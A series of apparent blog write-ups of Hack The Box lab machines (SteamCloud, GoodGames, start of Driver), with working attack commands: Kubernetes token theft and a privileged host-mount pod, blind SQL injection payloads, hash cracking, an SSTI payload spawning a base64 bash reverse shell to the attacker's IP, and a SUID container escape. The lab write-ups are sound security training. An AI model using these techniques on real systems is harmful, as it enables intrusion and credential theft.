| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40
| X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303
| Date: Tue, 21 Mar 2023 07:38:42 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.167, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2023-03-20T07:37:38
|_Not valid after: 2026-03-20T07:37:38
| tls-alpn:
| h2
|_ http/1.1
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud@1679384263
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2023-03-21T06:37:42
|_Not valid after: 2024-03-20T06:37:42
| tls-alpn:
| h2
|_ http/1.1
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Kubernetes Enumeration

Admittedly, I’m a bit of a noob when it comes to Kubernetes and Docker. However, I have managed a PAAS service before using Openshift so I know a bit. Unfortunately, that was a long time ago so it’s deep inside the recess of my smooth dense brain. One thing I remember is that Kubernetes creates pods which control the container. I attempted to view the pods by querying the Kubelet service with cURL.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ curl https://10.129.96.167:10250/pods -k
SteamCloud Docker Configuration

While that command was successful, it was messy. Using the kubeletctl_linux_amd64 binary from GitHub, we can query the service more neatly. The output below shows me listing the pods. Please note, I just spent 10 minutes formatting the table so I will be using screenshots from now. While this gives us the names of the pods, it doesn’t really give us anything we can use.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 pods

We can use the Kubeletctl binary to check whether any of these Pods allow us to execute commands. As you can see below, the image shows that commands can be run on the kube-proxy-bhb59 and NGINX pods.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 scan rce
SteamCloud kubeletctl rce

SteamCloud Privilege Escalation

Now that we have code execution on the NGINX pod, we should be able to use it to perform a privilege escalation. I’m not going to pretend I know exactly what’s going on here. Perhaps I do but I’m overcomplicating it in my head. We’re going to create our own highly privileged service account. First, we need to grab the token.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c ngin
Getting the token

Next, we need to grab the CA certificate.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx
SteamCloud certificate

With these two pieces to the puzzle, we should now be able to perform higher privileged operations or something? This is something I will have to revisit, I know what a CA certificate is, but I’m not sure what the token is. Anyway, we save the certificate to a file and we export the token to an environmental variable. I reran the certificate command but piped the output to a file using ‘| tee -a ca.cert’. I ran the following to export the token to the token environmental variable. Replace ‘–snip–‘ with the token.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ export token="--snip--"

Kubectl

With the token and certificate in our possession, we can use Kubectl to talk to the host. As you can see from the command below we can query the pod. Let’s check to see what actions we can perform. The output below shows that we can get, create and list pods. I can see where this is going.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ sudo kubectl --token=$token --certificate-authority=ca.cert --server=https://10.129.96.167:8443 auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [][][create]
selfsubjectrulesreviews.authorization.k8s.io [][][create]
pods [][][get create list]
[/.well-known/openidconfiguration][][get]

While this path to exploiting the hosts is different to any that I’ve done before, I understand the concept. We’re likely going to create a new pod that mounts the root file system and allows us to chroot it. This will allow us to capture the flags or as a hacker do anything we like with the target system. Anyway, we need to create the pod first, so let us steal the YAML from the official walkthrough. The YAML file is essentially deployment instructions for a pod/container. You can see below that it will indeed mount the /root file system. Please note that the indentation in the official walkthrough is slightly broken, the Yaml below should work.

apiVersion: v1
kind: Pod
metadata:
name: nginxt
namespace: default
spec:
containers:
- name: nginxt
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true

Next, we need to deploy a pod using this configuration.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ sudo kubectl --token=$token --certificate-authority=ca.cert --server=https://10.129.96.167:8443 apply -f f.yaml
pod/nginxt created

We can now check to see if our pod has been created. You can see it below, all fresh and new to the world. It would be a shame if we were to corrupt it.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ sudo kubectl --token=$token --certificate-authority=ca.cert --server=https://10.129.96.167:8443 get pods
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 104m
nginxt 1/1 Running 0 2m14s

Now, we can execute commands on the new NGINX pod as we did before to grab the token and certificate. However, this time we’re going to use it to get the user.txt and root.txt files. This is possible because the whole file system has been mounted inside the container.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 exec "cat /root/home/user/user.txt" -p nginxt -c nginxt
3bb▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓031

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 exec "cat /root/root/root.txt" -p nginxt -c nginxt
6cb▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓4e4

SteamCloud Review

This is another one of them boxes where I wouldn’t have had a clue without the official walkthrough. I would have enumerated it, found out that it was Kubernetes and given up. I may have gotten to the point where I was able to query the service and get the pods but doubt I would have gone further. The box is great for learning, there were a number of times when things didn’t go according to plan but I was able to figure it out. Anyway, that’s me done for today. This is a good box, it didn’t make me want to rage quit. It definitely taught me some things which I hope I don’t forget a week from now.

Hack The Box – GoodGames

GoodGames is a retired, easy vulnerable virtual machine created by Hack The Box, it is our challenge to hack into it. Hello world, welcome to Haxez, I’m back trying to hack another box to learn new things.

GoodGames Enumeration

I like to do is to check that the box is online by sending it a ping request. This may not always work as the host or some other device on the network could block ICMP traffic. However, most of the easy machines have responded to pings and this box is no exception.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ ping 10.129.242.108
PING 10.129.242.108 (10.129.242.108) 56(84) bytes of data.
64 bytes from 10.129.242.108: icmp_seq=1 ttl=63 time=13.6 ms
64 bytes from 10.129.242.108: icmp_seq=2 ttl=63 time=12.2 ms
--- 10.129.242.108 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1029ms
rtt min/avg/max/mdev = 12.187/12.912/13.637/0.725 ms

The box is awake and talking to us so it is time to see what services are available. I ran the Nmap command with the scripts flag, the enumerate versions flag and the aggressive flag. As you can see from the output below, the only service that appears open is HTTP on 80. It is running apache with Python 3.9.2 and we can see that domain is goodgames.htb.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo nmap -sC -sV -p- -A 10.129.242.108 -oA GoodGames
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-20 03:25 EDT
Nmap scan report for 10.129.242.108
Host is up (0.015s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/20%OT=80%CT=1%CU=32198%PV=Y%DS=2%DC=T%G=Y%TM=64180A8
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O
OS:3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M550NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: Host: goodgames.htb
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 11.44 ms 10.10.14.1
2 11.60 ms 10.129.242.108
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.94 seconds

I’ve added the domain to my host file but it doesn’t seem to have made much of a difference. Visiting the IP address directly or via the domain name appears to resolve the same website. It appears to be a video game journalist website. I suspect it is using some common content management system but I will need to dig deeper to find out.

Goodgame web application

Enumerating The Web Application

There are a number of different tools I like to run when testing web applications. The first is ‘whatweb’ as it can tell you more about the site and the technologies being used. Additionally, I also like to run Nikto but it seems that there is some funky coding. Unfortunately, Nikto thinks every file it looks for exists on the server so I’m going to ignore it for now.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ whatweb http://goodgames.htb
http://goodgames.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.9.2], IP[10.129.242.108], JQuery, Meta-Author[_nK], PasswordField[password], Python[3.9.2], Script, Title[GoodGames | Community and Store], Werkzeug[2.0.2], X-UA-Compatible[IE=edge]

There are various directory and file brute-forcing tools available like Gobuster and Dirb. I tend to use Dirb more than Gobuster for quick analysis. However, as you can see from the output below there isn’t a lot to go on.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ dirb http://goodgames.htb
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Mar 20 03:51:15 2023
URL_BASE: http://goodgames.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://goodgames.htb/ ----
+ http://goodgames.htb/blog (CODE:200|SIZE:44212)
+ http://goodgames.htb/forgot-password (CODE:200|SIZE:32744)
+ http://goodgames.htb/login (CODE:200|SIZE:9294)
+ http://goodgames.htb/logout (CODE:302|SIZE:208)
+ http://goodgames.htb/profile (CODE:200|SIZE:9267)
+ http://goodgames.htb/server-status (CODE:403|SIZE:278)
+ http://goodgames.htb/signup (CODE:200|SIZE:33387)
-----------------
END_TIME: Mon Mar 20 03:52:35 2023
DOWNLOADED: 4612 - FOUND: 7

GoodGames SQL Injection

There is a login portal accessible by clicking the avatar icon at the top of the page. I populated the username and password fields and submitted the request. I tried [email protected] but the main reason for this was to capture the request in burp.

Login Form

It’s also worth noting that upon submission of the credentials, I got a 500 error. This suggests something in the code is broken. However, I didn’t include any special characters other than the ‘@’ symbol in my login request.

Burp

I saved the POST request to a text file and fed it to SQLMap to see if would find anything. Sure enough, it appears we have a blind time-based and boolean-based SQL injection. I love SQLMap because finding blind SQL can be difficult (for me anyway). Furthermore, blind SQL injections can take forever for the data. As you can see below we have a database called main with 3 tables.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo sqlmap -r login.txt -D main --tables
___
__H__
___ ___[']_____ ___ ___ {1.7.2#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' AND (SELECT 2122 FROM (SELECT(SLEEP(5)))NPSu) AND 'LuBm'='LuBm&password=admin
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: [email protected]' AND 1646=(SELECT (CASE WHEN (1646=1646) THEN 1646 ELSE (SELECT 8949 UNION SELECT 5637) END))-- -&password=admin
---
[04:11:13] [INFO] retrieved: blog
[04:11:14] [INFO] retrieved: blog_comments
[04:11:17] [INFO] retrieved: user
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
[04:11:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/goodgames.htb'
[*] ending @ 04:11:18 /2023-03-20/

The information we want is probably hiding inside the user’s table so I dumped that next. As you can see from the output below I messed up my command. I only wanted to dump the user’s table but ended up dumping everything. Nevermind, we got the admin user’s hash so now we just need to crack it.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo sqlmap -r login.txt -D main T user --dump
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' AND (SELECT 2122 FROM (SELECT(SLEEP(5)))NPSu) AND 'LuBm'='LuBm&password=admin
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: [email protected]' AND 1646=(SELECT (CASE WHEN (1646=1646) THEN 1646 ELSE (SELECT 8949 UNION SELECT 5637) END))-- -&password=admin
---
Database: main
Table: blog_comments
[2 entries]
+----+---------+--------+----------------------------------------------+
| id | blog_id | user | comment | created_at | is_accepted |
+----+---------+--------+----------------------------------------------+
| 1 | 1 | admin | --snipp-- | NULL | 1 |
| 2 | 1 | admin | --snipp-- | NULL | 0 |
+----+---------+--------+----------------------------------------------+
[04:17:25] [WARNING] no clear password(s) found
Database: main
Table: user
[1 entry]
+----+-------+---------------------+----------------------------------+
| id | name | email | password |
+----+-------+---------------------+----------------------------------+
| 1 | admin | [email protected] | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+-------+---------------------+----------------------------------+
[04:17:25] [INFO] table 'main.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/goodgames.htb/dump/main/user.csv'
[04:17:25] [INFO] fetching columns for table 'blog' in database 'main'

Cracking The Admin Hash

Cracking the administrator’s hash was fairly painless. You could throw the hash into a site like crackstation.net but you may not always have internet. It’s always good to have multiple tools for the same job. It’s also good to know how to manually use those tools in case the automated ones don’t work. I fed the hash to our old pal John The Ripper and he hacked it up for me in no time at all. As you can see, the password was ‘superadministrator’.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo john --format=raw-md5 admin.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)
1g 0:00:00:00 DONE (2023-03-20 04:20) 6.666g/s 23175Kp/s 23175Kc/s 23175KC/s superarely1993..super5dooper
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Cracking is a lot of fun so I decided to crack it again with Hashcat just for the sake of it. After all, we need to verify that John gave us the correct password. Sure we could try to log in but what if there is some brute force protection and our account gets locked out? Ok, here is the hashcat output.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo hashcat -m 0 admin.hash /usr/share/wordlists/rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 2b22337f218b2d82dfc3b6f77e7cb8ec
Time.Started.....: Mon Mar 20 04:31:53 2023 (1 sec)
Time.Estimated...: Mon Mar 20 04:31:54 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 5502.4 kH/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3476480/14344385 (24.24%)
Rejected.........: 0/3476480 (0.00%)
Restore.Point....: 3475456/14344385 (24.23%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: supercecy01 -> super713!
Hardware.Mon.#1..: Util: 26%
Started: Mon Mar 20 04:31:41 2023
Stopped: Mon Mar 20 04:31:54 2023

Return To Enumeration

With every step forward in a hack or penetration test, we should cycle back to the enumeration phase. The higher level of access with grant us a high level of information. The further you climb up the mountain, the more of the surrounding area you will see. It will give us a better understanding of how everything works. Clicking on the cog in the top right-hand corner of the website gives us an error but we have found a new subdomain.

GoodGame error

Adding that to our host file allows us to visit the newly discovered subdomain and we are presented with a Flask application. We can try the credentials that we found earlier and see if the administrator is reusing credentials.

Web Application

Ha! I honestly didn’t expect that to work. Using the username ‘admin’ and the password ‘superadministrator’, I was able to log in to the Flask application. Also, for those new to hacking and penetration testing, password reuse and simple passwords are a LOT more common than you think. If you ever do a build review or a password audit, you will see what I mean.

Goodgame application

GoodGames Server Side Template Injection

Server Side Template Injection or SSTI is my favourite vulnerability at the moment. It’s all I seem to find on these boxes but I admit it has given me a good understanding. I now know where I’m likely to find it, how to find it and what to do with it. Interestingly, the server crashes when trying to calculate big numbers. I wanted to make my username 1337. Alas, I will have to settle for Bob. Personally, I believe that ‘{{ 2 * 404 }}’ is the most elite of all the SSTI payloads.

Server Side Template Injection

It’s time to make a payload that will get us a reverse shell. As you can see, I’m creating a simple bash reverse shell and base64 encoding it. Don’t forget to start your netcat listener.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ echo -ne 'bash -i >& /dev/tcp/10.10.14.126/1337 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjYvMTMzNyAwPiYx

Then we construct our payload to submit to the username field

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjYvMTMzNyAwPiYx=${IFS}|base64${IFS}-d|bash')}}.read()}}

That logs us onto the system as root, surely this was too easy? we can capture the flag from the Augustus users home directory but there is no root flag. I think it’s time we go back to the enumeration phase and find out what’s going on here.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.242.108] 33846
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
whoami
root
root@3a453ab39d3d:/backend# ls /home    
ls /home
augustus
root@3a453ab39d3d:/backend# cat /home/augustus/user.txt
cat /home/augustus/user.txt
0f0▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓767

GoodGames Docker Container Escape

I will be the first to admit that my Linux and Windows host enumeration skills need improving. I used the official walkthrough for the next part as I wasn’t sure what to do. I’ve used the ‘id’ and ‘groups’ commands before to identify that I was inside a docker container. However, I think the most obvious sign is that the IP address of the host we’re in, doesn’t match the host we attacked. The IP of the containers is ‘172.19.0.2’ but the IP of the target is ‘10.129.242.108’.

What is also interesting is that we’re the second host in this subnet. It is highly likely that ‘172.19.0.1’ is the Docker host. If we could scan that host then we could find out what services are listening and try to get access to it somehow.

root@3a453ab39d3d:/backend# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
RX packets 2534 bytes 469527 (458.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2125 bytes 1862054 (1.7 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

We can perform a portscan on the localhost IP address to see what other ports are open. Again, this is stolen directly from the wiki but something I intend to steal and add to my notes for future use. This could come in handy when pivoting from one Linux device to another. If you change the IP address to another host in the network then you can see what other services there are to try and exploit. Anyway, as shown below, port 22 is open which wasn’t open when we ran Nmap against the target IP.

root@3a453ab39d3d:/backend# for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
<ull" 2>/dev/null && echo "port $PORT is open"; done
port 22 is open
port 80 is open

We can now SSH to the host with the august user and the password that we’ve repeatedly used.

ssh [email protected]
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
[email protected]'s password: superadministrator
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

GoodGames Privilege Escalation

Let’s just go through what we know about the system. We got our foothold through the web application which dropped us inside a container as root. We can SSH from the container to the host but only as the Augustus user. What if, while inside the container we create a file as root and set the SUID bit and then execute it as Augustus once we SSH to the host? let’s find out, makes sense to me. First, as Augustus on the container host, copy the bash binary to your home directory. Then, exit the host back to the container and change the permissions of the binary while you’re the root user.

***Container Host as augustus VIA SSH***

augustus@GoodGames:~$ cp /bin/bash .
cp /bin/bash .
augustus@GoodGames:~$ exit

***Inside Container as root***

# cd /home/augustus
# ls
bash user.txt
# chown root:root bash
# chmod 4755 bash
# ls -laSh
ls -laSh
total 1.3M
-rwsr-xr-x 1 root root 1.2M Mar 20 09:29 bash
drwxr-xr-x 2 1000 1000 4.0K Mar 20 09:29 .
drwxr-xr-x 1 root root 4.0K Nov 5 2021 ..
-rw-r--r-- 1 1000 1000 3.5K Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r----- 1 1000 1000 33 Mar 20 07:24 user.txt
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null

Now, we need to SSH back to the container host and execute the bash file. We can now capture the final flag and complete the box.

augustus@GoodGames:~$ ./bash -p
./bash -p
bash-5.1# whoami
whoami
root
bash-5.1# cat /root/root.txt
cat /root/root.txt
b57▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓d88

GoodGames Review

This was a fun Linux box. I enjoyed the SQL injection and the SSTI to get the foothold. I definitely wouldn’t have worked out the privilege escalation but it does make a lot of sense. I feel like I should have run LinPEAS on the container host to see if it would have recognised it was on a container and suggested escapes. With that said, there is a dockerfile on the host as soon as you get the foothold so this would have been an obvious signpost.

Note: I ran LinPeas and it identified I was in a container.

══╣ Container ╠══                                                                                                                                                                
╔══════════╣ Container related tools present
╔══════════╣ Am I Containered?
╔══════════╣ Container details
═╣ Is this a container? ........... docker
═╣ Any running containers? ........ No
╔══════════╣ Docker Container details
═╣ Am I inside Docker group ....... No
═╣ Looking and enumerating Docker Sockets
═╣ Docker version ................. Not Found
═╣ Vulnerable to CVE-2019-5736 .... Not Found
═╣ Vulnerable to CVE-2019-13139 ... Not Found
═╣ Rootless Docker? ................ No

Hack The Box – Driver

Hello world, welcome to haxez. Today I’m going to be attempting to own the easy Windows machine Driver from Hack The Box. Admittedly, I haven’t read much about this box so I don’t know what I’m getting myself into. By the sounds of things, it’s supposed to have something to do with a printer. I believe we’re required to exploit print nightmare which I’ve never done before so this should be fun.

Driver Initial Enumeration

First, I check to see that the box is online by pinging it from my terminal. If the box responds to ping then I will start a Nmap scan. Typically I will use the ‘-sC’, ‘-sV’, ‘-A’ and ‘-p-‘ flags to scan all ports, run scripts, and obtain service versions and a very aggressive manner. As you can see from the output below, we are looking at a Windows host with port 80 for HTTP and 445 for SMB open.

┌──(kali㉿kali)-[~/Driver]
└─$ ping 10.129.95.238
PING 10.129.95.238 (10.129.95.238) 56(84) bytes of data.
64 bytes from 10.129.95.238: icmp_seq=1 ttl=127 time=24.6 ms
--- 10.129.95.238 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 24.599/24.599/24.599/0.000 ms

┌──(kali㉿kali)-[~/Driver]
└─$ sudo nmap -sC -sV -p- -A 10.129.95.238 -oA driver
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 15:01 EDT
Nmap scan report for 10.129.95.238
Host is up (0.013s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (93%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2012 R2 (87%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 10 1607 (85%), Microsoft Windows 10 1511 (85%), Microsoft Windows 7 or Windows Server 2008 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-time:
| date: 2023-03-18T02:03:42
|_ start_date: 2023-03-18T02:00:06
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 11.63 ms 10.10.14.1
2 12.10 ms 10.129.95.238
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.69 seconds

As SMB 445 is open I will attempt to enumerate any shares with null authentication. Unfortunately, my attempts to enumerate the host with both Crackmapexec and SMBClient both fail. Crackmapexec does give us the hostname and domain name of DRIVER though so not all is lost.

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.129.95.238 --shares -u 'haxez' -p ''
SMB 10.129.95.238 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB 10.129.95.238 445 DRIVER [-] DRIVER\haxez: STATUS_LOGON_FAILURE

┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.129.95.238/
Password for [WORKGROUP\kali]:
session setup failed: NT_STATUS_ACCESS_DENIED

Web Application Enumeration

Upon visiting the IP address in my browser, I was presented with a basic authentication page. I tried the username admin and the password admin as anybody would and to my surprise, it was authenticated. The web application appeared to be a management portal for a printer. The only page that seems to load for me is the Firmware Updates page.

Hack The Box Driver Printer
Hack The Box Driver Printer

I kicked off a directory and file brute force in the background to see if it would find anything interesting. I also did it because IppSec is doing it and he has great success so I think it’s a good idea to copy whatever he does.

┌──(kali㉿kali)-[~/Driver]
└─$ gobuster dir -u http://10.129.95.238 -U admin -P admin -x php -w /usr/share/wordlists/dirb/common.txt -o driver.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.95.238
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
